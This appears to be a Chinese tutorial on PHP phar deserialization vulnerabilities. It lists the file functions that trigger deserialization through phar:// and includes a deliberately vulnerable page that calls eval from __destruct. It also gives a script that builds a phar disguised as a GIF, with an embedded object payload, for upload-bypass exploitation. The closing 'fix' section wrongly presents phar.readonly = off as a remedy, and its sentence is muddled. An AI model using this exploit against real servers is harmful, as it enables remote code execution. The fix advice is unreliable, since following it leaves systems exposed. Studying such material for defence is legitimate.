反序列化

说到PHP反序列化,大概就是围绕serialize(),unserialize()这两个函数

序列化说通俗点就是把一个对象变成可以传输的字符串

那反序列化不就是颠转过来吗

反序列化漏洞造成原因

服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了

phar反序列化漏洞

phar文件会以序列化的形式存储用户自定义的meta-data;该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

phar文件结构

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。

phar结构由 4 部分组成

  • stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  • manifest 压缩文件的属性等信息,以序列化存储,是主要的攻击点。
  • contents 压缩文件的内容;
  • signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

受影响函数列表
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

造成原因

phar反序列化可以不用unserialize函数的可控,只需要满足上面的危险函数可控,就可以造成反序列化的攻击,大大增加了反序列化漏洞的挖掘。这里,利用以下代码生成phar文件

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
class A{
public $name;
public function __construct(){
echo "对象创建调用<br>";
}
public function __destruct(){
eval($this->name);
}
}
file_exists($_GET['file']);
?>

发现函数file_exists,存在危险函数可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
class A {
public function __construct(){
$this->name = 'phpinfo();';
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

phar文件是通过stub来标识的,是通过xxx来判断的,所以对后缀并没有要求,修改成gif,通过图片的上传点,上传到目标服务器,在利用phar://协议执行pahr文件。

修复方法

在php.ini中需要设置phar.readonly为off,不是无法生成phar文件

phar.readonly = off